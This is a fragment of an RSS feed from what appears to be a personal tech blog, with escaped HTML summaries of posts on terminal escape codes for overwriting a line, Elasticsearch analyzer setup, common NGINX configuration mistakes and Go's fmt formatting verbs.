&lt;li>&lt;code>-l&lt;/code>, &lt;code>-c&lt;/code>, and &lt;code>-r&lt;/code> options to align the text to the left, center, or right,&lt;/li>
&lt;/ul>
&lt;h5 id="toilet-figlet-with-more-options">TOIlet: FIGlet With More Options&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install toilet&lt;/code>&lt;/p></description></item><item><title>How to Make Output Overwrite the Same Line in a Terminal</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221021-echo-printf-overwrite-terminal-line/</link><pubDate>Fri, 21 Oct 2022 17:29:10 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221021-echo-printf-overwrite-terminal-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/echo-printf-overwrite-terminal-line" target="_blank" rel="noopener">How to Make Output Overwrite the Same Line in a Terminal&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="introduction-to-the-problem">Introduction to the Problem&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>!/bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span> To simulate the file processing
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: readme.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: veryPowerfulService.service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: log.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DONE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="the-magic-code-0330kr">The &amp;ldquo;Magic Code&amp;rdquo;: &lt;code>\033[0K\r&lt;/code>&lt;/h5>
&lt;ul>
&lt;li>&lt;code>-n&lt;/code> option asks the echo command to stop outputting the trailing newline character&lt;/li>
&lt;li>&lt;code>-e&lt;/code> option allows the echo command to interpret backslash escapes such as &lt;code>\n&lt;/code> (newline) and &lt;code>\r&lt;/code> (carriage return)&lt;/li>
&lt;li>&lt;code>\033&lt;/code> - It&amp;rsquo;s the escape sequence. In other words, it&amp;rsquo;s ESC.&lt;/li>
&lt;li>&lt;code>\033[&lt;/code> - Then this becomes &amp;ldquo;ESC [&amp;rdquo;, which is the control sequence introducer (CSI).&lt;/li>
&lt;li>&lt;code>\033[0k&lt;/code> - So it&amp;rsquo;s &amp;ldquo;CSI 0 K&amp;rdquo;. Further, &amp;ldquo;CSI 0 K&amp;rdquo; erases the text from the cursor to the end of the line.&lt;/li>
&lt;li>&lt;code>\r&lt;/code> - This is the carriage return. It brings the cursor to the beginning of the line.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -ne &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -ne &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -e &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>!/bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt\033[0K\r\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Elasticsearch Study Notes</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221006-elasticsearch/</link><pubDate>Thu, 06 Oct 2022 11:30:59 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221006-elasticsearch/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jiajunhuang.com/articles/2022_10_06-elasticsearch.md.html" target="_blank" rel="noopener">Elasticsearch Study Notes&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="install-the-chinese-analyzer-plugin">Install the Chinese analyzer plugin&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker exec -it elasticsearch bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Dev Tools
&lt;ul>
&lt;li>The &lt;code>content&lt;/code> field is &lt;code>text&lt;/code>. Use &lt;code>ik_max_word&lt;/code> for indexing and &lt;code>ik_smart&lt;/code> for searching. The former generates as many tokens as possible, while the latter generates coarser-grained tokens.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">PUT&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">/words&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;mappings&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;properties&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;content&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;type&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;text&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;analyzer&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ik_max_word&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;search_analyzer&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ik_smart&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;age&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;type&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;integer&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;index&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;acknowledged&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;shards_acknowledged&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;index&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;words&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Pokemon Legends: Arceus - Two Playthroughs Completed</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220919-pokemon-legends-arceus-stage-clear/</link><pubDate>Mon, 19 Sep 2022 11:30:08 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220919-pokemon-legends-arceus-stage-clear/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://soulteary.com/2022/09/05/pokemon-legends-arceus-stage-clear.html" target="_blank" rel="noopener">Pokemon Legends: Arceus - Two Playthroughs Completed&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Avoiding the Top 10 NGINX Configuration Mistakes - NGINX</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220916-avoiding-top-10-nginx-configuration-mistakes/</link><pubDate>Fri, 16 Sep 2022 15:22:23 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220916-avoiding-top-10-nginx-configuration-mistakes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.nginx.com/blog/avoiding-top-10-nginx-configuration-mistakes/" target="_blank" rel="noopener">Avoiding the Top 10 NGINX Configuration Mistakes - NGINX&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="1-not-enough-file-descriptors-fds-per-worker">1) Not enough file descriptors (FDs) per worker&lt;/h2>
&lt;h3 id="whats-wrong">What&amp;rsquo;s wrong&lt;/h3>
&lt;ul>
&lt;li>&lt;code>worker_connections&lt;/code> limits how many concurrent connections &lt;strong>a single worker&lt;/strong> can hold (default 512).&lt;/li>
&lt;li>But each worker is also limited by the OS per-process &lt;strong>file descriptor&lt;/strong> limit (often 1024 by default).&lt;/li>
&lt;li>Common mistake: increasing &lt;code>worker_connections&lt;/code> but not raising the FD limit, causing early exhaustion.&lt;/li>
&lt;/ul>
&lt;h3 id="fix">Fix&lt;/h3>
&lt;ul>
&lt;li>Set &lt;code>worker_rlimit_nofile&lt;/code> in the &lt;strong>main context&lt;/strong> to at least &lt;strong>2×&lt;/strong> &lt;code>worker_connections&lt;/code> (rule of thumb).&lt;/li>
&lt;li>Also validate the system-wide FD cap (&lt;code>fs.file-max&lt;/code>) so that:
&lt;code>worker_rlimit_nofile * worker_processes&lt;/code> is well below &lt;code>fs.file-max&lt;/code>.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">worker_connections&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span>; &lt;span style="color:#75715e"># inside events {}
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">worker_rlimit_nofile&lt;/span> &lt;span style="color:#ae81ff">2048&lt;/span>; &lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="2-the-error_log-off-directive-it-does-not-disable-error-logging">2) The &lt;code>error_log off&lt;/code> directive (it does not disable error logging)&lt;/h2>
&lt;h3 id="whats-wrong-1">What&amp;rsquo;s wrong&lt;/h3>
&lt;ul>
&lt;li>Unlike &lt;code>access_log&lt;/code>, &lt;code>error_log&lt;/code> does &lt;strong>not&lt;/strong> accept an &lt;code>off&lt;/code> parameter.&lt;/li>
&lt;li>&lt;code>error_log off;&lt;/code> creates a file literally named &lt;code>off&lt;/code> (often under &lt;code>/etc/nginx/&lt;/code>).&lt;/li>
&lt;/ul>
&lt;h3 id="fix-generally-not-recommended">Fix (generally not recommended)&lt;/h3>
&lt;ul>
&lt;li>If you must suppress error logging due to storage constraints, send it to &lt;code>/dev/null&lt;/code> and restrict severity:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">error_log&lt;/span> &lt;span style="color:#e6db74">/dev/null&lt;/span> &lt;span style="color:#e6db74">emerg&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="note">Note&lt;/h3>
&lt;ul>
&lt;li>This only applies after NGINX reads and validates config; startup/reload may still log to the default location unless you start NGINX with &lt;code>-e &amp;lt;error_log_location&amp;gt;&lt;/code>.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="3-not-enabling-keepalive-connections-to-upstream-servers">3) Not enabling keepalive connections to upstream servers&lt;/h2>
&lt;h3 id="whats-wrong-2">What&amp;rsquo;s wrong&lt;/h3>
&lt;ul>
&lt;li>Default behavior: NGINX opens a new upstream connection for each request.&lt;/li>
&lt;li>At high load this can consume resources and can exhaust ephemeral source ports due to TIME-WAIT, preventing new upstream connections.&lt;/li>
&lt;/ul>
&lt;h3 id="fix-1">Fix&lt;/h3>
&lt;p>&lt;strong>(A) Add &lt;code>keepalive&lt;/code> to each &lt;code>upstream {}&lt;/code>&lt;/strong>&lt;/p></description></item><item><title>Go string format</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220908-string-format/</link><pubDate>Thu, 08 Sep 2022 11:32:00 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220908-string-format/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://zetcode.com/golang/string-format/" target="_blank" rel="noopener">Go string format&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.liwenzhou.com/posts/Go/fmt/" target="_blank" rel="noopener">Go 语言 fmt.Printf 使用指南&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The verb at the end defines the type and the interpretation of its corresponding argument.&lt;/p>
&lt;ul>
&lt;li>&lt;code>d&lt;/code> - decimal integer&lt;/li>
&lt;li>&lt;code>o&lt;/code> - octal integer&lt;/li>
&lt;li>&lt;code>O&lt;/code> - octal integer with &lt;code>0o&lt;/code> prefix&lt;/li>
&lt;li>&lt;code>b&lt;/code> - binary integer&lt;/li>
&lt;li>&lt;code>x&lt;/code> - hexadecimal integer lowercase&lt;/li>
&lt;li>&lt;code>X&lt;/code> - hexadecimal integer uppercase&lt;/li>
&lt;li>&lt;code>f&lt;/code> - decimal floating point, lowercase&lt;/li>
&lt;li>&lt;code>F&lt;/code> - decimal floating point, uppercase&lt;/li>
&lt;li>&lt;code>e&lt;/code> - scientific notation (mantissa/exponent), lowercase&lt;/li>
&lt;li>&lt;code>E&lt;/code> - scientific notation (mantissa/exponent), uppercase&lt;/li>
&lt;li>&lt;code>g&lt;/code> - the shortest representation of &lt;code>%e&lt;/code> or &lt;code>%f&lt;/code>&lt;/li>
&lt;li>&lt;code>G&lt;/code> - the shortest representation of &lt;code>%E&lt;/code> or &lt;code>%F&lt;/code>&lt;/li>
&lt;li>&lt;code>c&lt;/code> - a character represented by the corresponding Unicode code point&lt;/li>
&lt;li>&lt;code>q&lt;/code> - a quoted character&lt;/li>
&lt;li>&lt;code>U&lt;/code> - Unicode escape sequence&lt;/li>
&lt;li>&lt;code>t&lt;/code> - the word true or false&lt;/li>
&lt;li>&lt;code>s&lt;/code> - a string&lt;/li>
&lt;li>&lt;code>v&lt;/code> - default format&lt;/li>
&lt;li>&lt;code>#v&lt;/code> - Go-syntax representation of the value&lt;/li>
&lt;li>&lt;code>T&lt;/code> - a Go-syntax representation of the type of the value&lt;/li>
&lt;li>&lt;code>p&lt;/code> - pointer address&lt;/li>
&lt;li>&lt;code>%&lt;/code> - a double &lt;code>%%&lt;/code> prints a single &lt;code>%&lt;/code>&lt;/li>
&lt;/ul>
&lt;h3 id="go-string-format-indexing">Go string format indexing&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n1&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n2&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n3&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;There are %d oranges %d apples %d plums&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n1&lt;/span>, &lt;span style="color:#a6e22e">n2&lt;/span>, &lt;span style="color:#a6e22e">n3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">res&lt;/span>) &lt;span style="color:#75715e">// There are 2 oranges 3 apples 4 plums&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res2&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;There are %[2]d oranges %d apples %[1]d plums&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n1&lt;/span>, &lt;span style="color:#a6e22e">n2&lt;/span>, &lt;span style="color:#a6e22e">n3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">res2&lt;/span>) &lt;span style="color:#75715e">// There are 3 oranges 4 apples 2 plums&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-string-format-precision">Go string format precision&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 17&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.2f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.54&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.3f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.540&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.5f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.54000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-string-format-flags">Go string format flags&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%+d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// +1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#x\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0x69b&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#X\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0X69B&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#b\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0b11010011011&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
